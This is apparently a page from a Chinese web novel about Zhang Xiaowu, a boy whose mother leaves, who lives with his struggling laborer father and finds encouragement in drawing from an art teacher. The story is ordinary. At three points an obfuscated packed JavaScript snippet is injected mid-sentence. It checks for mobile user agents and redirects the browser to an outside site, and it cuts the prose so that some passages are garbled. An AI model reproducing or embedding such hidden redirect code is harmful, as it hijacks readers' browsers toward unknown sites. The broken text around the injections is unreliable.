《平凡的故事呀2》 1. 破碎的家 雨下了三天三夜,老房子里的霉味怎么都散不掉。 张小五蹲在客厅角落里,面前摊着一张皱巴巴的图画纸。纸是隔壁王奶奶给的,背面还印着“便民超市”的广告字。他握着一截短得快要捏不住的铅笔,一笔一笔地画着桌上的鱼缸。 鱼缸里的金鱼已经死了两条,翻着白肚皮浮在水面上。剩下那条红色的,还在浑浊的水里慢慢游着,好像什么都不知道。 “小五!小五你出来!” 母亲的声音从厨房传过来,尖锐得像指甲划过黑板。张小五的手抖了一下,金鱼的尾巴画歪了。 他没有应声,只是把铅笔握得更紧,低下头继续画。鱼缸的玻璃是透明的,可画在纸上只能是一片灰色。他不知道该怎么画出那种透明,只能用很轻很轻的线条,一遍一遍地描。 “张小五!你没听见我说话吗?” 厨房里传来碗摔碎的声音。张小五的肩膀缩了缩,铅笔在纸上划出一道长长的黑线。 客厅的门被推开,母亲王秀兰站在门口,围裙上沾着洗洁精的泡沫,眼眶红红的。她看见小五蹲在角落里画画,愣了一秒,随即快步走过来,一把夺走了他手里的图画纸。 “画画画!你就知道画!”她把纸揉成一团,“我跟你爸都要离婚了,你还在这里画画!” 纸团砸在张小五脸上,轻飘飘的,没什么分量。可他还是觉得脸上一疼,像是被什么烫了一下。 他抬起头看着母亲。母亲的眼睛下面有很深的黑眼圈,嘴角往下撇着,看起来又凶又可怜。 “妈。”他叫了一声。 王秀兰的眼泪一下子就掉下来了。她蹲下来,双手捧着小五的脸,拇指在他颧骨上蹭了蹭,那里沾了一点铅笔灰。 “小五,妈对不起你。”她的声音变得很轻,轻得像怕惊动什么,“但是妈真的过不下去了,你爸他……他不争气,妈跟着他,这辈子就完了。” 张小五不太懂什么叫“这辈子就完了”。他只记得昨天父亲和母亲又吵架了,吵得很凶。父亲把电视遥控器摔在地上,电池弹出来滚到沙发底下。母亲哭着说要走,父亲说你要走就走,别拿孩子说事。 后来母亲收拾了一个行李箱,拉着走到门口,又停下来。她在门口站了很久,最后还是拖着箱子回来了。 “你跟妈走好不好?”王秀兰看着他的眼睛,“妈带你去城里,去住大房子,你就不用窝在这个破地方了。” 张小五摇摇头。 王秀兰的表情变了,从悲伤变成愤怒,又从愤怒变成悲伤。她松开手,站起来,往后退了两步。 “你就跟你那个没出息的爸过吧!”她转身走了,脚步声很重,一下一下踩在木地板上,咯吱咯吱响。 客厅安静下来。张小五盯着地上的纸团看了一会儿,伸手把它捡起来,展开,铺平。 金鱼的尾巴歪了,鱼缸的线条也被他刚才那一笔破坏了。他想了想,把纸翻到背面,重新开始画。 这次他不画鱼缸了,他画母亲刚才蹲下来看着他的样子。 母亲的头发散下来,遮住半张脸。她的眼睛很大,大得有点不像她。张小五试着把那眼睛画得亮一点,可画来画去,总觉得不对。 门被推开了。 这次是父亲。 张建国穿着一件洗得发白的工装,裤腿上还沾着干涸的水泥点子。他脸上的胡子好几天没刮了,看上去老了好几岁。 “你妈呢?”他问。 “走了。”张小五头也没抬。 张建国在门口站了一会儿,点了根烟。烟雾在昏暗的客厅里散开,呛得张小五咳了两声。 “别抽了。”张小五说。 张建国看了儿子一眼,把烟掐灭了。他走过来,蹲在张小五旁边,看着他在纸上画画。 “画的是谁?” “妈。” 张建国没说话。他的喉结上下动了动,像是想说什么,又咽了回去。 “爸。”张小五忽然开口。 “嗯。” “你们真的不要我了?” 张建国的手攥紧了,指节发白。过了一会儿,他伸手揉了揉张小五的头发,手掌粗糙得像砂纸。 “胡说。”他的声音有点哑,“爸要你。” 张小五没再问了。他低下头,继续画画。 画上的母亲终于有了一点神似。她蹲在那里,眼眶红红的,嘴角往下撇着,看起来又凶又可怜。 张建国看着那幅画,忽然说:“你画得真好。” 张小五没应声。 “以后想当画家?” “不知道。”张小五说,“就是喜欢画。” 张建国“嗯”了一声,站起来,走到厨房去了。张小五听见他打开冰箱的声音,又关上的声音。冰箱里什么吃的都没有。 过了一会儿,张建国又走回来,手里拿着一包方便面。 “晚上吃面。”他说。 “我不饿。” “不饿也得吃。” 张小五没再说话。他把画好的母亲折起来,塞进口袋里。画上的母亲只有半张脸,另外半张被折痕遮住了,反而显得更有味道。 窗外的雨还在下。老房子漏水的地方又响了,滴答滴答,像是某种倒计时。 那天晚上,母亲没有回来。 第二天也没有。 第三天,邻居王奶奶告诉张小五,他妈妈走了,坐早班车去的城里。 张小五“哦”了一声,继续在纸上画画。 王奶奶叹了口气,从兜里掏出两块大白兔奶糖放在他手边。 “小五啊,你爸那个人……”王奶奶欲言又止,最后只是摇了摇头,“你别怪你妈。” 张小五剥开一颗糖塞进嘴里,甜味在舌尖上化开,很浓很浓,浓得有点发苦。 他看了看手边的图画纸,超市广告的背面已经画满了。他翻到最后一张,纸已经用完了。 他想了想,把那张画了一半的画翻过来,在广告字之间的空白处继续画。那些“跳楼价”“买一送一”的红字,像是印在天空上的标语,怎么也擦不掉。 但他不在乎。 他只是想画。 画那个没有母亲的客厅,画那个只剩一条金鱼的鱼缸,画父亲蹲在门口抽烟的样子。 烟雾缭绕中,父亲的脸看不太清楚。 可张小五知道,那张脸上写满了两个字。 认命。 他没画那两个字,而是画了父亲的眼睛。 那双眼睛里还有一点东西,很小很小,小到几乎看不见。 那是他。 是张小五。 夜深了,张建国从外面回来,满身酒气。他在门口站了很久,钥匙插进锁孔,拧了好几下才打开。 客厅的灯还亮着。 张小五趴在桌子上睡着了,手里还握着那截短铅笔。桌上摊着厚厚一沓纸,全是画。 张建国走过去,一张一张地看。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17443997|201069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有鱼缸,有金鱼,有窗外的雨,有王奶奶的侧脸,有门口的鞋柜,有桌上的泡面碗。 最后一张,画的是他。 是他在门口点烟的样子。 张建国的眼眶忽然红了。他蹲下来,把张小五抱起来。儿子很轻,轻得让他心里发慌。 “小五。”他轻声喊。 张小五迷迷糊糊地睁开眼,看见父亲的脸,嘟囔了一句:“爸,你回来了。” “嗯,回来了。” “你喝酒了。” “喝了一点。” 张小五把脸埋进父亲肩窝里,闷闷地说:“老师说下周有美术比赛,要交一幅画。” “那就画。” “要买颜料,老师说要用好的那种,我那个水彩笔不行。” 张建国沉默了一会儿,说:“买。” “贵。”张小五说,“要好几十块。” 张建国把儿子抱紧了一点,下巴抵在他头顶上。 “几十块就几十块,爸去买。”他说,“你想画就画,爸供你。” 张小五没再说话。他闭着眼睛,听着父亲的心跳声。那声音很稳,很沉,像工地上的打桩机,一下一下,砸进地里,砸得结结实实的。 窗外的雨终于停了。 张小五在那个晚上做了一个梦。梦里有一间很大的画室,四面墙都是窗户,阳光从各个方向涌进来。画架上绷着崭新的画布,桌上摆满了颜料,各种颜色,多得他用不完。 他站在画室中间,手里握着一支很长的画笔。 面前是一面巨大的白墙,等着他去填满。 他抬起手,正要落笔—— 闹钟响了。 张小五睁开眼,看见的还是那间昏暗的老房子。 桌子上摊着的画纸被风吹起来,飘落在地上。那条歪了尾巴的金鱼,静静躺在纸上,永远不会游了。 他爬起来,把画纸一张一张收好,叠得整整齐齐,塞进枕头底下。 今天要上学。 今天老师要说美术比赛的事。 今天他要问清楚,到底需要多少钱。 张小五穿好衣服,走出房间。父亲已经在厨房了,煮了两碗面,面上卧着一个荷包蛋。 “那个蛋给你。”张建国把蛋夹到儿子碗里,“多吃点。” “爸你不吃?” “爸吃过了。” 张小五看了一眼父亲碗里的白水面,没说话,低下头吃面。 吃着吃着,眼泪掉进了碗里。 他没有擦,只是把脸埋得更低,大口大口地吃,把眼泪和面一起吞进肚子里。 “爸。”他含混地说。 “嗯?” “我会画好的。” 张建国愣了一下,然后笑了。他笑起来的时候眼角的皱纹很深,像干裂的土地。 “爸知道。”他说,“爸等着看。” 窗外的天灰蒙蒙的,分不清是清晨还是黄昏。 张小五背着书包出了门,走到巷口,回头看了一眼。 父亲还站在门口,穿着一件单薄的旧毛衣,晨风吹得他头发乱糟糟的。 他朝张小五挥了挥手。 张小五也挥了挥手,转过身,走进了灰色的晨光里。 口袋里,那截短铅笔硌着他的大腿,有点疼。 但这疼让他安心。 因为他知道,今天放学回来,他还能画。 只要还能画,就没什么大不了的。 2. 第一个画本 张小五到学校的时候,早自习已经开始了。 他没有迟到太久,只是在校门口站了一会儿。学校门口的梧桐树叶子黄了大半,风一吹就簌簌地往下掉,落在他的肩膀上,又滑下去。他低头看着那些叶子,发现每一片叶子的脉络都不一样,有的像手掌,有的像河流,有的像一张皱巴巴的地图。 “张小五!你杵那儿干嘛呢?” 传达室的老大爷探出头来喊了一嗓子。张小五回过神,赶紧往教学楼跑。 书包在背上颠来颠去,里面除了两本课本,就是昨晚画的那些画。他把画都带上了,因为美术老师李老师说今天要收作品,区里有个“七彩童年”绘画比赛,每班要选三个人参加。 跑到教室门口,班主任刘老师正站在讲台上盯着大家读课文。她看见张小五,皱了皱眉,没有说话,只是用下巴朝座位方向点了点。 张小五低着头溜进去,坐到最后一排靠窗的位置。 同桌周扬正在拿课本挡着脸偷吃包子,见张小五坐下,用胳膊肘捅了他一下:“你咋又差点迟到?” “起晚了。”张小五把书包塞进桌斗里。 周扬啃了一口包子,肉汁从嘴角溢出来,他用手背一抹,含混不清地说:“你爸又喝酒了?” 张小五没回答,从桌斗里抽出语文书翻到今天要读的课文。周扬见他不说话,也识趣地不再追问,低头对付剩下的包子。 早读课读的是朱自清的《背影》。语文书上的字密密麻麻,张小五读着读着就走神了。他想起昨晚父亲站在门口的样子,穿着那件洗得发白的旧毛衣,晨风吹得头发乱糟糟的。那个画面不知道为什么,比课文里的背影更让他觉得心里堵得慌。 他摸到桌斗里的图画纸,指尖在纸边上摩挲了一下,又缩了回来。 第一节课是数学,第二节课是英语,第三节课终于等到了美术。 李老师走进教室的时候,张小五的眼睛一下子就亮了。李老师三十来岁,扎着低马尾,穿一件灰蓝色的棉麻衬衫,袖口总是沾着颜料。她是整个学校里张小五最喜欢的老师,没有之一。 “上周说的那个绘画比赛,作品都带来了吗?”李老师站在讲台上,目光扫过全班。 稀稀拉拉有几个同学举手。张小五犹豫了一下,也举起了手。他的手举得很低,藏在前面同学的脑袋后面,像是怕被人看见。 李老师却一眼就看见了他。她微微笑了一下,说:“举手的同学把画拿上来,贴在黑板上,我们一起看看。” 张小五的心跳突然快了。他慢吞吞地从书包里掏出一个塑料袋,袋子里装着那厚厚一沓画。他抽出其中两张——一张是鱼缸里的金鱼,一张是母亲蹲下来看着他的样子。他把其他画塞回书包,攥着那两张纸站起来。 走到讲台前面的时候,他听见后排有人小声说:“张小五也画画?他那个破画本能画出什么?” 笑声不大,但张小五听见了。他的耳朵一下子红了,手里的画纸被他攥出了褶皱。 李老师也听见了。她看了一眼中后排,没有点名,只是说了一句:“每个人的画都有自己的味道,我们互相学习。” 张小五把画贴在黑板上,退后一步。鱼缸那张因为昨晚被母亲揉过,纸面上还有细细的皱痕,金鱼的尾巴歪歪扭扭的。他站在旁边,觉得自己像个笑话。 但李老师盯着那两幅画看了很久。 她先看的是金鱼。教室里安静下来,大家都在等着她点评。李老师伸出手,指尖在金鱼的尾巴上轻轻点了一下。 “这条尾巴为什么画歪了?”她问,语气不是批评,是好奇。 张小五愣了一下,小声说:“因为……因为我妈叫我,我手抖了一下。” 李老师点点头,又去看第二幅画。母亲蹲下来的样子,半张脸被头发遮住,眼睛很大很大。她看了将近一分钟,然后转过身,面对着全班同学。 “你们觉得这两幅画画得好吗?” 教室里七嘴八舌。有人说好,有人说一般,有人说看不出来画的是什么。周扬在后排扯着嗓子喊了一句:“我觉得金鱼挺像的!就是尾巴歪了!” 李老师笑了。她走到张小五身边,把手搭在他肩膀上。那只手很轻,但张小五觉得肩膀上像是压了一块石头,沉甸甸的。 “张小五的画,技法上确实有很多问题。”李老师说,“线条不够流畅,比例也不够准确。但是你们注意到没有,他画的金鱼,虽然是歪的,可是那条歪的尾巴,反而让这条鱼看起来像是在游动。” 她指着那幅画:“鱼缸里的水,他用了很多层不同深浅的灰色去画,这说明他在很认真地观察。第二幅画,这个人物的表情,你们看看她的眼睛。” 所有同学都看过去。那个被铅笔涂得有点脏兮兮的眼睛,不知道为什么,就是让人觉得里面藏着很多很多话。 “这就叫‘有感情’。”李老师的声音不大,但每个字都很清楚,“画画不只是画得像,更重要的是画出你看到的东西,和你心里的东西。张小五做到了这一点。” 教室里安静了两秒,然后不知道是谁鼓了一下掌,稀稀拉拉的掌声响起来。张小五低着头,耳朵红得能滴出血来,但他嘴角忍不住往上弯了一下。 下课后,李老师把张小五叫到了办公室。 美术办公室在教学楼的一层最里头,窗户朝北,光线不太好。但墙上挂满了学生作品和老师自己的画,花花绿绿的,像个万花筒。张小五每次走进来都觉得空气里有一股好闻的味道,后来他才知道那是松节油和颜料混合的气味。 “坐。”李老师拉了一把椅子让他坐下,自己坐在办公桌后面。她从抽屉里拿出一个本子,不算厚,但封面上印着一幅风景画,里面的纸是白色的,很光滑。 张小五一眼就看出来,那纸比他用的超市广告背面好一百倍。 “这个给你。”李老师把本子推过来。 张小五没敢接。他看了看那个本子,又看了看李老师,嘴唇动了动。 “老师,这个……贵吧?” “不贵。”李老师说,“就是普通的水彩本,十几块钱。我买多了,家里还放着好几个呢。” 张小五知道她在说谎。他之前在文具店看过这种本子,最便宜的也要二十多。二十多块,够他和父亲吃三天的面条。 “拿着。”李老师把本子塞到他手里,“你之前用的那种纸不行,太薄了,铅笔一擦就破。画画要用好纸,不然你画得再好,纸也存不住。” 张小五的手指在那个本子上摩挲着。纸面确实很光滑,有一种凉丝丝的触感。他把它抱在胸口,像抱着什么宝贝。 “谢谢李老师。”他的声音有点闷。 李老师看着他,忽然问了一句:“你妈妈……走了?” 张小五点点头。 “那你现在跟你爸过?” “嗯。” “你爸……对你好吗?” 张小五又点点头,这次点得很用力。 李老师沉默了一会儿,从笔筒里抽出一支2B铅笔递给他。那支铅笔比张小五用的那截短铅笔长多了,尾巴上还有一块没用过的橡皮。 “回去把那两幅画再画一遍,画在这个本子上。”她说,“区里的比赛,我想让你参加。” 张小五猛地抬起头,眼睛亮得像两颗星。 “真的?” “真的。”李老师笑了,“不过你还要再画一张新的。比赛的题目是‘我的家’,你想想怎么画。下周一之前交给我。” 张小五使劲点头,点得脖子都快断了。他从椅子上蹦起来,抱着画本和铅笔往外跑,跑到门口又折回来,朝李老师深深鞠了一躬。 “谢谢老师!” 李老师看着他的背影消失在走廊里,脸上的笑容慢慢收起来。她靠在椅背上,叹了口气。 她知道张小五家里的情况。这个孩子不爱说话,上课总是低着头,作业也经常交不齐。但他的画不一样,他的画里有一种东西,是她在其他学生作品里很少看到的。 那不是技巧,甚至算不上天赋。 那是一种想要表达的冲动。 像是一个被堵住了嘴的人,拼命想要喊出来。 放学后,张小五没有像往常一样直接回家。他去了学校后面那条街上的文具店,趴在柜台上看了很久。 文具店老板是个胖胖的中年女人,正嗑着瓜子看手机。她瞥了一眼张小五,问:“买什么?” “阿姨,那个……水彩颜料多少钱?”张小五指着货架上一排小小的管子。 “十二色的二十五,十八色的三十五,二十四色的四十八。”老板头也不抬,“你要哪种?” 张小五摸了摸口袋。口袋里只有三块钱,是昨天买早餐剩下的。他把手从口袋里抽出来,摇了摇头。 “那铅笔呢?”他又问,“就是那种画画的铅笔,有软有硬的。” “你说素描铅笔?一套六支,八块钱。” 八块钱。张小五在心里默默算了一下。如果他不吃早餐,攒三天就够了。可是他还要买颜料,颜料更贵。 他趴在柜台上盯着那排颜料管子看了很久,像是在看什么遥远的东西。 “你到底买不买?”老板不耐烦了。 张小五转过身,慢慢走出文具店。走到门口的时候,他又回头看了一眼。货架上那排颜料管子在夕阳里反着光,红的、黄的、蓝的、绿的,像一小排彩色的灯。 他攥紧了手里的画本。 没事。先画黑白的也行。 回到家的时候,天已经快黑了。张小五推开门,屋里没开灯,一片昏暗。空气里有一股浓烈的酒味,混着烟味,呛得他咳了两声。 “爸?”他喊了一声。 没人应。 他摸索着找到墙上的开关,把灯打开。客厅里乱糟糟的,茶几上摆着两个空酒瓶和一堆烟头,烟灰缸满了,烟灰落在桌面上,被风吹得到处都是。 张建国歪倒在沙发上,一只手垂在地上,手里还攥着半瓶啤酒。他的脸很红,呼吸很重,像是在做一个不太好的梦。 张小五走过去,把酒瓶从父亲手里轻轻抽出来。张建国的手指动了一下,嘟囔了一句什么,又沉沉睡去。 张小五把酒瓶放在桌上,去厨房拿了一条湿毛巾,回来给父亲擦了脸。张建 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这次他画得更久。他画母亲的头发,一根一根地画,有的地方黑,有的地方灰,有的地方留白。他画母亲的眼睛,把瞳孔涂得很深,高光留出来,让那双眼睛看起来亮亮的。 画到最后,他在母亲的身后画了一扇门。门是开着的,门外是一片很亮的光。 他说不清楚为什么要画那扇门。 也许是因为母亲走了。 也许是因为,他希望母亲有一天会从那扇门里走进来。 画完的时候,已经是晚上九点多了。张小五揉了揉发酸的眼睛,把画本合上,抱在怀里。 张建国醒了。 他从沙发上慢慢坐起来,手撑着额头,像是头很疼。他看了看四周,看见茶几上的酒瓶不见了,烟灰缸洗干净了,身上还盖着一条毯子。 “小五?”他的声音沙哑。 “嗯。” “你做的?” “嗯。” 张建国沉默了一会儿,站起来,去厨房倒了一杯水,咕咚咕咚灌下去。他用手背擦了擦嘴,走到张小五身边,看见他怀里的画本。 “这是什么?” “美术老师给的画本。”张小五把它递过去,“李老师让我参加区里的绘画比赛,要画三幅画。” 张建国接过画本,翻开第一页。 金鱼在纸上游着,尾巴微微摆动,水里的气泡一颗一颗升上去。 他翻到第二页。 母亲蹲在那里,身后是一扇开着的门,门外是光。 张建国的喉结上下动了动。他合上画本,把它还给张小五。 “你李老师说得对。”他说,“你画得好。” 张小五看着父亲的脸。灯光下,父亲的脸色很差,眼窝深陷,嘴角的法令纹像刀刻的一样。 “爸。”张小五说。 “嗯。” “你以后少喝点酒。” 张建国没有回答。他伸手揉了揉张小五的头发,粗糙的手掌在儿子头顶上停留了很久。 “爸知道了。”他说,“走,爸给你下碗面去。” 那天晚上的面,比平时多了一个鸡蛋。 张小五坐在桌边吃面,张建国坐在对面看着他吃。灯光昏黄,把两个人的影子投在墙上,一大一小,像两座挨着的山。 张小五吃着吃着,忽然说:“爸,我想好了,比赛那幅‘我的家’,我就画咱们家。” 张建国愣了一下:“咱们家有什么好画的?” “有啊。”张小五说,“有你,有我,有桌子,有面,有鸡蛋。” 他停顿了一下,又说:“还有窗外的月亮。” 张建国没有说话,只是又揉了揉儿子的头发。 那天晚上,张小五躺在床上,把画本放在枕头旁边。他翻到第三页,空白的纸面上什么都没有。 他在脑子里构思那幅画。画面应该是什么样的?从哪个角度画?用什么样的光线? 想着想着,他就睡着了。 梦里他又走进了那间很大的画室,四面墙都是窗户,阳光从各个方向涌进来。但这一次画室里多了一样东西——一张旧木桌,桌上摆着两碗面,面上卧着荷包蛋。 他拿起画笔,在那面巨大的白墙上画了一个月亮。 月亮不大,但很亮。 亮得整面墙都暖洋洋的。 3. 我的家 周末的早晨,张小五是被电钻声吵醒的。 楼下的邻居在装修,那种尖锐的“嗡嗡”声从地板底下钻上来,像一只巨大的蚊子在耳边飞。张小五翻了个身,把被子蒙在头上,闷了一会儿,还是睡不着。 他索性爬起来,穿上衣服走到客厅。 张建国已经不在了。茶几上压着一张纸条,上面歪歪扭扭地写着几个字:“爸去工地了,钱在碗里,自己买吃的。” 张小五走到厨房,灶台上扣着一个碗,碗底下压着五块钱。五块钱,够买两个包子和一杯豆浆。他把钱装进口袋,没舍得花,从柜子里翻出一包方便面,掰碎了干嚼。 方便面的咸味在嘴里散开,他嚼得“咔嚓咔嚓”响,像只偷吃零食的老鼠。吃到一半,他忽然想起什么,跑到水池边漱了漱口,把手洗干净,然后回到房间,把画本拿出来。 “我的家”。 比赛的题目就这三个字,可张小五对着空白的纸面坐了很久,铅笔尖戳在纸面上,迟迟没有落下。 他想起班里其他同学会画什么。周扬大概会画他家那个大客厅,有真皮沙发,有八十寸的电视,还有一整面墙的手办柜。班长林笑笑可能会画她家的花园,她妈在阳台上种了好多花,春天的时候开得满墙都是。 可他呢? 他的家是一个四十平米的老房子,墙皮掉了好几块,露出里面灰扑扑的水泥。沙发是二手市场淘来的,弹簧坏了两根,坐上去会往下陷。茶几的玻璃面上有一道长长的裂纹,用透明胶带粘着。窗户的把手坏了大半年,只能用一根绳子系着,风一吹就“哐当哐当”响。 这个家有什么好画的? 张小五把铅笔放下,站起来在屋里转了一圈。他摸了摸那面掉了墙皮的墙,又蹲下来看了看茶几上的裂纹,最后走到窗户边,把绳子解开,把窗户推开。 外面的风吹进来,凉飕飕的。对面楼有人在晒被子,红色的被面在阳光里飘来飘去。楼下有个老太太在喂猫,一只橘色的胖猫蹲在她脚边,“喵呜喵呜”地叫。 张小五忽然觉得,这个家其实挺好的。 它是不好看,但它很真实。每一道裂纹,每一块脱落的墙皮,都是他们生活过的痕迹。母亲在这里煮过饭,父亲在这里喝过酒,他在这里画过画。那些争吵、哭泣、沉默,还有偶尔的笑声,都像墨水一样,渗进了这间房子的每一个缝隙里。 他要画的就是这些。 张小五回到桌前,重新拿起铅笔。这一次他没有犹豫,在纸上画了一条横线——那是客厅和天花板的分界。 他画得很慢,一笔一笔地,像是在和这间房子对话。他画那面掉了墙皮的墙,不是把它画成光滑的平面,而是用断断续续的线条,画出那些缺口和斑驳。他画茶几上的裂纹,让那道裂痕从茶几中间穿过,像一条干涸的河流。 画到沙发的时候,他停下来想了想。 沙发是绿色的,但画是黑白的,他只能用不同深浅的灰色去表现。他把2B铅笔换成了4B,这种笔芯更软,涂出来的颜色更深。他在沙发坐垫的位置上了一层浅浅的调子,又在扶手的位置加重了几笔,让沙发的旧和塌陷感一点点浮现出来。 时间一分一秒地过去。张小五画得太投入了,连楼下装修的电钻声什么时候停的都不知道。等他画完沙发的轮廓,抬起头,发现窗外的光线已经变了,从早晨的清亮变成了中午的刺眼。 他揉了揉脖子,肚子“咕噜”叫了一声。方便面早就消化完了,现在胃里空空的,像被人掏了个洞。 张小五看了看手里的五块钱,犹豫了一下,还是揣进口袋下了楼。 楼下的小卖部门口支着一口大锅,卖包子的阿姨正在掀笼屉,白色的蒸汽“轰”地一下涌出来,带着肉馅和面皮的香味。张小五的肚子又叫了一声,叫得很大声。 “两个包子,一杯豆浆。”他把五块钱递过去。 阿姨接过钱,看了他一眼:“小五,你爸又去工地了?” “嗯。” “你一个人在家?” “嗯。” 阿姨叹了口气,多拿了一个包子塞进袋子里:“拿着吃,长身体呢。” 张小五想说不用,可肚子比他诚实,又“咕噜”叫了一声。他接过袋子,小声说了句“谢谢阿姨”,转身往楼上跑。 回到家里,他坐在桌边,一边啃包子一边看自己画了一半的画。包子的肉汁很香,但张小五的眼睛一直盯着画面,脑子里在想着接下来该怎么画。 桌子画完了,沙发画完了,茶几画完了,墙也画了一半。还差什么呢? 他看了一眼窗户。窗户还没画。 还有窗户外面的东西。 张小五三口两口把包子吃完,豆浆喝光,又洗了手,重新拿起铅笔。他走到窗户前面,看了很久。对面楼的红色被面还在飘,楼下的橘猫已经吃饱了,正躺在花坛边上晒太阳,肚皮朝天,四个爪子蜷着,像个毛茸茸的球。 他回到桌前,开始画窗户。 窗户的画法比墙复杂得多。他不仅要画窗框、玻璃、那根系窗户的绳子,还要画窗外的景色。但窗外的东西太多了,楼、被子、猫、树、天空,如果全部画进去,画面会乱成一锅粥。 他想了想,决定只画三样东西:窗框、对面的楼顶,和一小片天空。 他用尺子比着画了窗框的直线,用轻快的线条勾出对面楼的轮廓,然后在天花板的位置留了一大片空白。那片空白就是天空,他不需要在上面画任何东西,因为纸本身的白,就是最好的天空。 下午两点多的时候,张建国回来了。 他浑身都是灰,工装上沾满了水泥点子,脸上、脖子上、手背上都蒙着一层细细的粉尘。他一进门就开始咳嗽,咳得很厉害,弯着腰,一只手撑着门框。 张小五赶紧跑过去,给他倒了一杯水。 “爸,你没事吧?” 张建国接过水,咕咚咕咚喝完,用袖子擦了擦嘴,摆了摆手:“没事,就是灰呛的。” 他走到沙发边,看见桌上的画本,脚步停了一下。 “画啥呢?” “比赛的画。”张小五说,“‘我的家’,我画咱们家客厅。” 张建国弯下腰,凑近了看。他的手上全是灰,不敢碰那个本子,就那样弯着腰看了很久。 画还没有完成,但已经能看出大概的样子了。掉了墙皮的墙,有裂纹的茶几,旧沙发,还有那扇开着的窗户。 张建国的眼眶有点红。他直起腰,使劲眨了眨眼,从口袋里掏出一包烟,抽出一根叼在嘴上,又想起什么,把烟塞了回去。 “你画吧。”他说,“爸去洗个澡。” 张小五看着父亲的背影。他的工装后背湿了一大片,是汗。裤腿卷到膝盖,小腿上全是灰,脚上穿着那双开裂的解放鞋,鞋带打了好几个结。 “爸。”张小五喊了一声。 张建国回过头。 “你吃了吗?” “吃了,工地管饭。”张建国说完就进了卫生间。 张小五知道他在说谎。工地上从来没有“管饭”这回事。父亲每次带回来的饭盒都是空的,那是他把别人的剩饭吃了。他见过父亲带回来的饭盒,里面有白菜帮子、豆腐渣,有时候还有半块馒头。 他低下头,继续画画。 但手有点抖。 他使劲握了握铅笔,深吸一口气,把注意力拉回到画面上。现在要画的是细节——茶几上的烟灰缸,沙发扶手上的破洞,墙角那盆快死了的绿萝。 烟灰缸里没有烟头了,因为张小五昨天刚倒过。他把烟灰缸画成空的,干干净净的,像一只刚洗过的玻璃碗。 沙发的破洞他画得很仔细。那个洞在扶手的位置,是父亲看电视的时候用手指头抠出来的,越抠越大,最后露出里面的海绵。张小五用橡皮在铅笔调子上擦出一个小白点,那就是露出来的海绵。 绿萝的花盆是一个缺了口的塑料盆,土干得裂了缝,叶子黄了大半,只有最中间的两片还是绿的。张小五把那两片绿色画成留白,周围用深色的调子衬托,让它们看起来像两盏小小的灯。 傍晚的时候,张小五终于把画画完了。 他退后几步,远远地看着这幅画。 画面上的客厅不大,甚至可以说很逼仄。墙是破的,茶几是裂的,沙发是旧的,绿萝是快死的。但不知道为什么,整幅画看起来并不让人觉得压抑。 也许是因为那扇窗户。 窗户开着,外面的天空很亮很白,像是一个巨大的出口。那两片绿色的叶子朝着窗户的方向倾斜,像是在够什么够不着的东西。 张小五盯着那两片叶子看了很久,忽然觉得鼻子有点酸。 他想起母亲还在的时候,这盆绿萝是养在阳台上的,叶子绿得发亮,长藤垂下来,像绿色的瀑布。母亲每天早上都会给它浇水,有时候还会用湿布擦叶子上的灰。 “绿萝是好东西,”母亲那时候说,“好养活,有水就活。” 后来母亲走了,绿萝没人管了,就从阳台上搬到了客厅角落。张小五有时候会想起给它浇水,但经常忘记。它就那样一天一天地黄下去,瘦下去,可那两片叶子一直绿着,怎么都不肯枯。 张小五把画本合上,放在书包旁边,准备周一交给李老师。 那天晚上,张建国破天荒地没有喝酒。 他洗完澡,换了一身干净衣服,坐在沙发上看着张小五收拾书包。他的头发还是湿的,贴在额头上,看起来年轻了好几岁。 “小五。”他忽然开口。 “嗯?” “你妈走的那天,你画的画呢?” 张小五愣了一下,从书包里翻出之前那张画——母亲蹲下来看着他的样子。那张画画在超市广告纸的背面,已经被揉得皱巴巴的了,但画面还在。 张建国接过去,看了很久。 “你把她画得挺好看的。”他说,声音很轻。 张小五不知道该说什么,就蹲在父亲旁边,跟他一起看着那张画。 “你妈年轻的时候,在我们厂里是最漂亮的。”张建国说,像是在自言自语,“厂里好多小伙子追她,她都没看上,就偏偏看上了我这个穷小子。” 他笑了一下,笑容很短,一下子就没了。 “我那时候在工地上搬砖,一个月挣三百块,她跟着我租地下室住,连个像样的家具都没有。我问她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“这幅画,你自己觉得怎么样?” 张小五想了想,说:“窗框画歪了。” 李老师笑了一下,摇了摇头:“窗框歪不歪不重要。重要的是,我站在这幅画前面,能感觉到你坐在这个客厅里画画的样子。” 她指着画面上的茶几、沙发、窗户:“这些东西不是你在‘画’,是你在‘记’。你把它们记在心里,然后搬到纸上来。这就是画画最珍贵的东西——不是技巧,是诚意。” 张小五不太懂什么叫“诚意”,但他觉得李老师说的是好话,因为他心里热乎乎的,像是喝了一大碗热汤。 “这幅画我收了,区里的比赛就用它。”李老师说,“另外两张呢?金鱼和你妈妈的那张,画好了吗?” 张小五赶紧把那两张也翻出来。金鱼那张他重画了一遍,尾巴不再歪了,但他总觉得少了点什么。原来的尾巴虽然歪,但金鱼像是在游;现在尾巴正了,金鱼反而像是死的。 李老师看了看,说了一句让张小五记了很久的话。 她说:“有时候,歪的才是活的。” 张小五没太听懂,但他把这句话牢牢记在了心里。 接下来的一周,张小五每天放学后都会去美术办公室找李老师。李老师教他怎么握笔,怎么排线,怎么区分黑白灰。她告诉他人体的比例是“立七坐五盘三半”,告诉他人脸的三庭五眼,告诉他素描的五大调子——高光、亮面、明暗交界线、暗面、反光。 